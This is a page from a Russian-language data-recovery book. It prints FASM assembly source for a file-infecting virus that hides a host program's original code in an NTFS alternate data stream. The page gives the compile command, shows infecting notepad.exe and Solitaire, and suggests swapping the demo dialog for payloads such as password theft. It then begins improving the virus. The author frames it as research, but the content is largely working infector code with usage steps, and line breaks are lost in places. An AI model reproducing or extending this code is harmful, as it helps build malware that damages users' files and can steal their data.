Восстановление данных. Практическое руководство, стр. 46
push ebp call [RenameFile] ; Копируем в foo основной поток dst push eax push ebp push buf call [CopyFile] ; Добавляем к своему имени имя потока NTFS mov esi, ebp mov edi, bufcopy_rool: lodsb stosb test al,al jnz copy_rool mov esi, code_name dec edicopy_rool2: lodsb stosb test al,al jnz copy_rool2 ; Копируем foo в dst:bar push eax push buf push foo call [CopyFile] ; Здесь не помешает добавить коррекцию длины заражаемого файла ; Удаляем foo push foo call [DeleteFile] ; Выводим диагностическое сообщение, ; подтверждающее успешность заражения файла push 0 push aInfected push ebp push 0 call [MessageBox] ; Выход из вирусаgo2exit: push 0 call [ExitProcess]section '.data' data readable writeable foo db "foo",0 ; Имя временного файла code_name db ":bar",0 ; Имя потока, в котором будет... code_name_end: ; ...сохранено основное тело ; Различные текстовые строки, выводимые вирусом aInfected db "infected",0 aHello db "Hello, you are hacked" ; Различные буфера для служебных целей buf rb 1000 xxx rb 1000Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.
Скачайте последнюю версию FASM, распакуйте архив и в командной строке наберите следующую команду:
fasm.exe xcode.asmxcode.exe--*xcode.exe --* notepad.exe
Рис. 6.6. Диалоговое окно, свидетельствующее об успешном заражении
Теперь запустите зараженный файл notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно (рис. 6.7), а после нажатия на кнопку OK передает управление оригинальному коду программы.

Рис. 6.7. Диалоговое окно, отображаемое зараженным файлом при запуске на исполнение
Чтобы не возбуждать у пользователя подозрений, настоящий вирусописатель удалит это диалоговое окно из финальной версии вируса, заменив его какой-нибудь вредоносной "начинкой". Тут все зависит от вирусописательских намерений и фантазии. Например, можно перевернуть экран, сыграть над пользователем еще какую-нибудь безобидную шутку, или же заняться более зловредной деятельностью вроде похищения паролей или другой конфиденциальной информации.
Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Например, чтобы заразить игру Solitaire, следует дать команду
notepad.exe --* sol.exeДо сих пор рассматриваемый вирус действительно был абсолютно безобиден. Он не размножается самостоятельно и не выполняет никаких злонамеренных или деструктивных действий. Ведь он создан лишь для демонстрации потенциальной опасности, подстерегающей пользователей NTFS. Исследовательская деятельность преступлением не является. Но вот если кто-то из вас решит доработать вирус так, чтобы он самостоятельно размножался и осуществлял вредоносные действия, то следует напомнить, что это уже станет уголовно наказуемым деянием.
Так что вместо разработки вредоносной начинки будем совершенствовать вирус в другом направлении. При повторном заражении файла текущая версия необратимо затирает оригинальный код своим телом, в результате чего файл станет неработоспособным. Вот беда! Как же ее побороть? Можно добавить проверку на зараженность перед копированием вируса в файл. Для этого следует вызвать функцию
CreateFilenotepad.exe:barbarbar_01bar_02bar_03